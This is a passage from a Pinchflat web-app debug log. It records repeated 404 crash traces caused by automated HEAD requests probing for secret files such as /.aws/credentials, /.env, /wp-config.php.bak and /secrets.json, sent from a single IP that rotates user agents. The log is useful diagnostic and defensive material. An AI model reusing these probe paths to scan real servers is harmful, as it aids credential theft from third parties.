Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/x (truncated) 02:50:29.371 [debug] QUERY OK source="settings" db=0.8ms queue=0.4ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.373 [info] HEAD /.aws/credentials 02:50:29.372 [debug] QUERY OK source="settings" db=0.6ms queue=0.3ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.374 [debug] QUERY OK source="settings" db=1.5ms queue=1.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.375 [debug] QUERY OK source="settings" db=0.6ms queue=0.5ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.375 [debug] QUERY OK source="settings" db=0.6ms queue=0.6ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.375 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.375 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.369 [error] #PID<0.3712.0> running PinchflatWeb.Endpoint (connection #PID<0.3710.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /wp-config.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3710.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40246}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3712.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDF4rE2ok0EAAV-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3710.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40246}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3710.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40246}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GE (truncated) 02:50:29.375 [debug] QUERY OK source="settings" db=0.8ms queue=0.3ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.376 [info] HEAD /secrets.json 02:50:29.376 [debug] QUERY OK source="settings" db=1.0ms queue=0.4ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.377 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.377 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.372 [error] #PID<0.3713.0> running PinchflatWeb.Endpoint (connection #PID<0.3711.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40258}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3713.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDF5HIaPaI4AAV_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40258}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40258}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3713.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", (truncated) 02:50:29.372 [error] #PID<0.3717.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3717.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDGQGSzAzcMAAWBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3717.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, (truncated) 02:50:29.380 [debug] QUERY OK source="settings" db=1.4ms queue=0.9ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.373 [error] #PID<0.3715.0> running PinchflatWeb.Endpoint (connection #PID<0.3714.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3714.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40268}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3715.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDF9JNeSU44AAWAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3714.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40268}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", 